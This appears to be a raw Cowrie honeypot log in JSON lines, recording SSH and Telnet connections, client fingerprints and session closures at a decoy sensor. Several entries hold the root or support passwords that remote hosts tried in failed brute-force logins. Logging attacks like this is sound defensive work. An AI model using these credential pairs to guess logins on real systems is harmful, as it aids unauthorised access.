{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:15.227549Z","src_ip":"193.32.162.145","session":"e1021638a830","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":58952,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b131ca6301f","protocol":"ssh","message":"New connection: 49.51.73.108:58952 (10.17.0.5:22) [session: 0b131ca6301f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:15.279563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:15.289796Z","src_ip":"49.51.73.108","session":"0b131ca6301f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:15.358982Z","src_ip":"49.51.73.108","session":"0b131ca6301f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuck1234","message":"login attempt [root/fuck1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:15.662217Z","src_ip":"49.51.73.108","session":"0b131ca6301f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39088,"dst_ip":"10.17.0.5","dst_port":23,"session":"722dfb1fcaee","protocol":"telnet","message":"New connection: 192.119.13.58:39088 (10.17.0.5:23) [session: 722dfb1fcaee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:16.084890Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41156,"dst_ip":"10.17.0.5","dst_port":23,"session":"665f910f87ca","protocol":"telnet","message":"New connection: 192.119.13.58:41156 (10.17.0.5:23) [session: 665f910f87ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:16.601128Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:16.744021Z","src_ip":"49.51.73.108","session":"0b131ca6301f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.6696138381958,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:19.150486Z","src_ip":"192.119.13.58","session":"823b0306cc2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":46730,"dst_ip":"10.17.0.5","dst_port":22,"session":"55a693101932","protocol":"ssh","message":"New connection: 77.94.47.83:46730 (10.17.0.5:22) [session: 55a693101932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:20.458209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:20.462546Z","src_ip":"77.94.47.83","session":"55a693101932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:20.589709Z","src_ip":"77.94.47.83","session":"55a693101932","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasin414","message":"login attempt [root/sasin414] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:21.139202Z","src_ip":"77.94.47.83","session":"55a693101932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:22.269376Z","src_ip":"77.94.47.83","session":"55a693101932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.05986547470093,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:23.894781Z","src_ip":"192.119.13.58","session":"5b95956e5dae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42680,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f6394ce2328","protocol":"telnet","message":"New connection: 192.119.13.58:42680 (10.17.0.5:23) [session: 9f6394ce2328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:23.911671Z"}
{"eventid":"cowrie.session.closed","duration":0.0053899288177490234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:23.916945Z","src_ip":"192.119.13.58","session":"9f6394ce2328","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60262,"dst_ip":"10.17.0.5","dst_port":23,"session":"41c7c68c9e8d","protocol":"telnet","message":"New connection: 192.119.13.58:60262 (10.17.0.5:23) [session: 41c7c68c9e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:28.284692Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":55652,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ba1382ecfff","protocol":"ssh","message":"New connection: 103.122.221.179:55652 (159.203.135.109:22) [session: 3ba1382ecfff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:31.489774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:31.494308Z","src_ip":"103.122.221.179","session":"3ba1382ecfff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:31.757369Z","src_ip":"103.122.221.179","session":"3ba1382ecfff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"korova","message":"login attempt [root/korova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:32.545946Z","src_ip":"103.122.221.179","session":"3ba1382ecfff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":41958,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb71db900197","protocol":"ssh","message":"New connection: 103.164.9.74:41958 (10.17.0.5:22) [session: eb71db900197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:32.919201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:32.923553Z","src_ip":"103.164.9.74","session":"eb71db900197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:33.121099Z","src_ip":"103.164.9.74","session":"eb71db900197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:33.811208Z","src_ip":"103.122.221.179","session":"3ba1382ecfff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tx123","message":"login attempt [root/tx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:35.123119Z","src_ip":"103.164.9.74","session":"eb71db900197","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35154,"dst_ip":"10.17.0.5","dst_port":23,"session":"25b0890208c0","protocol":"telnet","message":"New connection: 192.119.13.58:35154 (10.17.0.5:23) [session: 25b0890208c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:35.823838Z"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:36.322872Z","src_ip":"103.164.9.74","session":"eb71db900197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.66970205307007,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:38.151382Z","src_ip":"186.195.16.41","session":"23f0a8ad0057","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.15.216","src_port":56258,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fb82a66dbdb","protocol":"ssh","message":"New connection: 116.110.15.216:56258 (159.203.135.109:22) [session: 2fb82a66dbdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:41.116234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:41.196843Z","src_ip":"116.110.15.216","session":"2fb82a66dbdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:41.380978Z","src_ip":"116.110.15.216","session":"2fb82a66dbdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53674,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7df7eb2ae47","protocol":"telnet","message":"New connection: 192.119.13.58:53674 (10.17.0.5:23) [session: f7df7eb2ae47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:41.458205Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60416,"dst_ip":"10.17.0.5","dst_port":23,"session":"285c859a40fc","protocol":"telnet","message":"New connection: 192.119.13.58:60416 (10.17.0.5:23) [session: 285c859a40fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:42.037097Z"}
{"eventid":"cowrie.session.closed","duration":43.479851484298706,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:42.286093Z","src_ip":"192.119.13.58","session":"f684b41c4e2a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"support","password":"admin","message":"login attempt [support/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:43.041680Z","src_ip":"116.110.15.216","session":"2fb82a66dbdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.980873823165894,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:43.966748Z","src_ip":"192.119.13.58","session":"70ac6f89e175","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:44.388701Z","src_ip":"116.110.15.216","session":"2fb82a66dbdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43224,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bc2c1b4440a","protocol":"telnet","message":"New connection: 192.119.13.58:43224 (10.17.0.5:23) [session: 0bc2c1b4440a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:44.696105Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":54550,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c917f454944","protocol":"ssh","message":"New connection: 193.39.208.26:54550 (10.17.0.5:22) [session: 1c917f454944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:45.082627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:45.087720Z","src_ip":"193.39.208.26","session":"1c917f454944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:45.175881Z","src_ip":"193.39.208.26","session":"1c917f454944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#QWEasdzxc","message":"login attempt [root/!@#QWEasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:45.539149Z","src_ip":"193.39.208.26","session":"1c917f454944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:46.625647Z","src_ip":"193.39.208.26","session":"1c917f454944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39350,"dst_ip":"10.17.0.5","dst_port":23,"session":"64337d1ded58","protocol":"telnet","message":"New connection: 192.119.13.58:39350 (10.17.0.5:23) [session: 64337d1ded58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:50.228235Z"}
{"eventid":"cowrie.session.closed","duration":41.15616416931152,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:51.038254Z","src_ip":"192.119.13.58","session":"f5178eaee218","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.317890644073486,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:53.402657Z","src_ip":"192.119.13.58","session":"722dfb1fcaee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57204,"dst_ip":"10.17.0.5","dst_port":23,"session":"e10e30d5c84d","protocol":"telnet","message":"New connection: 192.119.13.58:57204 (10.17.0.5:23) [session: e10e30d5c84d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:54.413054Z"}
